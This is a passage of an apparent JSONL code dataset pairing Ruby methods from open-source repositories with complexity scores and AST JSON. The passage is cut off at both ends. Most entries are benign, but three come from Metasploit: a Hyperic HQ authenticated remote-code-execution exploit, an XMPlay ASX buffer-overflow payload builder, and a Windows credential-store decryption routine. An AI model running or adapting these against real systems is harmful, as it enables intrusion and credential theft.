:\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Http\"]},\"Headers\"]},\"from_hash\",{\"type\":\"lvar\",\"children\":[\"request_env\"]}]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"wrapped_headers\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestRequest\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"request_env\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"session=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"with_indifferent_access\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"cookie_jar=\",{\"type\":\"send\",\"children\":[null,\"cookies\"]}]}]}]}]}]}","id":"fe148df0-127f-483e-8857-96b9e28d7ee4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/identity/restore.rb","start_line":9,"raw_source":"def call(_worker, job, _queue)\n          ::Gitlab::Auth::Identity.sidekiq_restore!(job)\n\n          yield\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_worker\"]},{\"type\":\"arg\",\"children\":[\"job\"]},{\"type\":\"arg\",\"children\":[\"_queue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Auth\"]},\"Identity\"]},\"sidekiq_restore!\",{\"type\":\"lvar\",\"children\":[\"job\"]}]},{\"type\":\"yield\",\"children\":[]}]}]}","id":"d95a1f42-afef-40ee-8bd3-e6059d0801b5"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/admin/ai_llm_quotas_controller.rb","start_line":37,"raw_source":"def destroy\n        quota = LlmQuota.find(params[:id])\n        quota.destroy!\n\n        head :no_content\n      rescue ActiveRecord::RecordNotFound\n        render json: { error: I18n.t(\"not_found\") }, status: :not_found\n      end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quota\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LlmQuota\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quota\"]},\"destroy!\"]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"no_content\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"not_found\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}]},null]}]}","id":"122a335e-82df-4c36-9f10-6e32e15d4caa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/receiver.rb","start_line":76,"raw_source":"def handler\n        Handler.for(mail, mail_key)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"handler\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Handler\"]},\"for\",{\"type\":\"send\",\"children\":[null,\"mail\"]},{\"type\":\"send\",\"children\":[null,\"mail_key\"]}]}]}","id":"57cdb041-c12b-436d-8c87-32568af4b272"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/concurrency_limit/worker_execution_tracker.rb","start_line":25,"raw_source":"def track_execution_end\n          return if sidekiq_pid.nil?\n\n          process_thread_id = process_thread_id_key(sidekiq_pid, sidekiq_tid)\n          with_redis do |r|\n            r.hdel(worker_executing_hash_key, process_thread_id)\n          end\n        end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"track_execution_end\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sidekiq_pid\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"process_thread_id\",{\"type\":\"send\",\"children\":[null,\"process_thread_id_key\",{\"type\":\"send\",\"children\":[null,\"sidekiq_pid\"]},{\"type\":\"send\",\"children\":[null,\"sidekiq_tid\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"hdel\",{\"type\":\"send\",\"children\":[null,\"worker_executing_hash_key\"]},{\"type\":\"lvar\",\"children\":[\"process_thread_id\"]}]}]}]}]}","id":"4c089dbd-b220-47d1-b041-dd9104d803a6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/support/command_line_helpers.rb","start_line":4,"raw_source":"def output_results(*)\n    output(\n      include(*)\n    ).to_stdout\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"output_results\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"forwarded_restarg\",\"children\":[]}]}]},\"to_stdout\"]}]}","id":"bb6e51ed-8970-4e6e-82eb-7e1186f0f9f8"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user_option.rb","start_line":219,"raw_source":"def unsubscribed_from_all?\n    !mailing_list_mode && !email_digests && email_level == UserOption.email_level_types[:never] &&\n      email_messages_level == UserOption.email_level_types[:never]\n  end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"unsubscribed_from_all?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mailing_list_mode\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email_digests\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email_level\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserOption\"]},\"email_level_types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"never\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email_messages_level\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserOption\"]},\"email_level_types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"never\"]}]}]}]}]}","id":"6911ab77-c93e-4618-ac87-ad87615381ef"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/controllers/cost_reports_controller.rb","start_line":481,"raw_source":"def http_filter_parameters\n    params[:fields] ||= []\n    (params[:fields].reject(&:empty?) || []).inject(operators: {}, values: {}) do |hash, field|\n      hash[:operators][field.to_sym] = params[:operators][field]\n      hash[:values][field.to_sym] = params[:values][field]\n      hash\n    end\n  end","complexity_score":26.8,"ast_json":"{\"type\":\"def\",\"children\":[\"http_filter_parameters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fields\"]}]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fields\"]}]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"empty?\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]},\"inject\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operators\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"operators\"]}]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"to_sym\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"operators\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"field\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"values\"]}]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"to_sym\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"values\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"field\"]}]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]}]}","id":"93a90cce-f171-466e-88bc-41b8f3753c23"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/hyperic_hq_script_console.rb","start_line":256,"raw_source":"def exploit\n    # login\n    @uri = target_uri\n    user = datastore['USERNAME']\n    pass = datastore['PASSWORD']\n    res = login(user, pass)\n    if res and res.code == 302 and res.headers['location'] !~ /authfailed/\n      print_good(\"Authenticated successfully as '#{user}'\")\n    else\n      fail_with(Failure::NoAccess, \"#{peer} - Authentication failed\")\n    end\n\n    # check access to the console and get CSRF nonce\n    print_status(\"Checking access to the script console\")\n    get_nonce\n\n    # check operating system\n    if target.name =~ /Automatic/\n      print_status(\"Trying to detect the remote target...\")\n      @my_target = get_target\n      if @my_target.nil?\n        fail_with(Failure::NoTarget, \"#{peer} - Failed to detect the remote target\")\n      else\n        print_good(\"#{@my_target.name} target found\")\n      end\n    else\n      @my_target = target\n    end\n\n    # send payload\n    case @my_target['Platform']\n    when 'win'\n      print_status(\"Sending command stager...\")\n      execute_cmdstager({ :linemax => 2049 })\n    when 'unix'\n      print_status(\"Sending UNIX payload...\")\n      http_send_command(java_craft_runtime_exec(payload.encoded))\n    when 'linux'\n      print_status(\"#{rhost}:#{rport} - Sending Linux stager...\")\n      linux_stager\n    end\n  end","complexity_score":62.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@uri\",{\"type\":\"send\",\"children\":[null,\"target_uri\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"login\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"location\"]}]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"authfailed\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authenticated successfully as '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Authentication failed\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Checking access to the script console\"]}]},{\"type\":\"send\",\"children\":[null,\"get_nonce\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Trying to detect the remote target...\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@my_target\",{\"type\":\"send\",\"children\":[null,\"get_target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@my_target\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to detect the remote target\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@my_target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" target found\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@my_target\",{\"type\":\"send\",\"children\":[null,\"target\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@my_target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Platform\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending command stager...\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linemax\"]},{\"type\":\"int\",\"children\":[2049]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending UNIX payload...\"]}]},{\"type\":\"send\",\"children\":[null,\"http_send_command\",{\"type\":\"send\",\"children\":[null,\"java_craft_runtime_exec\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Sending Linux stager...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"linux_stager\"]}]}]},null]}]}]}","id":"222038a1-0284-4de5-9a40-cd26cbaad9dc"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":5209,"raw_source":"def test_block_redirect_commits_flash\n    get \"/foo\", env: { \"action_dispatch.key_generator\" => Generator }\n    assert_response :redirect\n\n    follow_redirect!\n    assert_equal \"bar\", response.body\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_block_redirect_commits_flash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/foo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action_dispatch.key_generator\"]},{\"type\":\"const\",\"children\":[null,\"Generator\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"redirect\"]}]},{\"type\":\"send\",\"children\":[null,\"follow_redirect!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"body\"]}]}]}]}","id":"e61b4eb5-0314-416c-8d7b-b8289464b6bf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/packages/npm/package_file_uploader.rb","start_line":9,"raw_source":"def self.workhorse_local_upload_path\n        Rails.root.join('public/uploads/tmp/npm_package_files').to_s\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"workhorse_local_upload_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"public/uploads/tmp/npm_package_files\"]}]},\"to_s\"]}]}","id":"4fb46ba7-cd34-428e-8fb8-3339b2e9a060"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/ui/extensible_tabs.rb","start_line":42,"raw_source":"def enabled_tabs(key, context = {})\n          tabs[key].select { |entry| entry[:only_if].nil? || entry[:only_if].call(context) }\n        end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled_tabs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"optarg\",\"children\":[\"context\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tabs\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only_if\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only_if\"]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}]}","id":"6c54ab11-2ff4-43ed-8131-c66a801c06ac"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/xmplay_asx.rb","start_line":56,"raw_source":"def on_request_uri(cli, request)\n    # Re-generate the payload\n    return if ((p = regenerate_payload(cli)) == nil)\n\n    drv\t= rand_text_alpha_upper(1)\n    ext\t= rand_text_alpha_upper(3)\n\n    sploit = rand_text_alpha_upper(498) + [ target.ret ].pack('V')\n    sploit << make_nops(40) + payload.encoded\n\n    # Build the stream format\n    content = \"<ASX VERSION=\\\"3\\\">\\r\\n\" + \"<ENTRY>\\r\\n\"\n    content << \"<REF HREF=\\\"file://#{drv}:\\\\\" + sploit\n    content << \".\" + \"#{ext}\\\"\\r\\n\" + \"</ENTRY>\\r\\n\" + \"</ASX>\\r\\n\"\n\n    print_status(\"Sending #{self.name}\")\n\n    # Transmit the response to the client\n    send_response_html(cli, content)\n\n    # Handle the payload\n    handler(cli)\n  end","complexity_score":37.35,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"drv\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ext\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[498]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"int\",\"children\":[40]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<ASX VERSION=\\\"3\\\">\\r\\n\"]},\"+\",{\"type\":\"str\",\"children\":[\"<ENTRY>\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<REF HREF=\\\"file://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"drv\"]}]},{\"type\":\"str\",\"children\":[\":\\\\\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\".\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\r\\n\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"</ENTRY>\\r\\n\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"</ASX>\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"9def0572-1cb1-491e-bce2-f7adee116c29"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/enum_cred_store.rb","start_line":96,"raw_source":"def decrypt_blob(daddr, dlen, type)\n    # type 0 = passport cred, type 1 = wininet cred\n    # set up entropy\n    c32 = session.railgun.crypt32\n    guid = '82BD0E67-9FEA-4748-8672-D5EFE5B779B0' if type == 0\n    guid = 'abe2869f-9b47-4cd9-a358-c22904dba7f7' if type == 1\n    ent_sz = 74\n    salt = []\n    guid.each_byte do |c|\n      salt << c * 4\n    end\n    ent = salt.pack('s*')\n\n    # write entropy to memory\n    mem = mem_write(ent, 1024)\n\n    # prep vars and call function\n    addr = pack_add(daddr)\n    len = pack_add(dlen)\n    eaddr = pack_add(mem)\n    elen = pack_add(ent_sz)\n\n    if is_86\n      ret = c32.CryptUnprotectData(\"#{len}#{addr}\", 16, \"#{elen}#{eaddr}\", nil, nil, 0, 8)\n      len, add = ret['pDataOut'].unpack('V2')\n    else\n      ret = c32.CryptUnprotectData(\"#{len}#{addr}\", 16, \"#{elen}#{eaddr}\", nil, nil, 0, 16)\n      len, add = ret['pDataOut'].unpack('Q<2')\n    end\n\n    # get data, and return it\n    return '' unless ret['return']\n\n    return read_str(add, len, 0)\n  end","complexity_score":54.02,"ast_json":"{\"type\":\"def\",\"children\":[\"decrypt_blob\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"daddr\"]},{\"type\":\"arg\",\"children\":[\"dlen\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c32\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"railgun\"]},\"crypt32\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"guid\",{\"type\":\"str\",\"children\":[\"82BD0E67-9FEA-4748-8672-D5EFE5B779B0\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"guid\",{\"type\":\"str\",\"children\":[\"abe2869f-9b47-4cd9-a358-c22904dba7f7\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ent_sz\",{\"type\":\"int\",\"children\":[74]}]},{\"type\":\"lvasgn\",\"children\":[\"salt\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guid\"]},\"each_byte\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"salt\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"*\",{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"lvasgn\",\"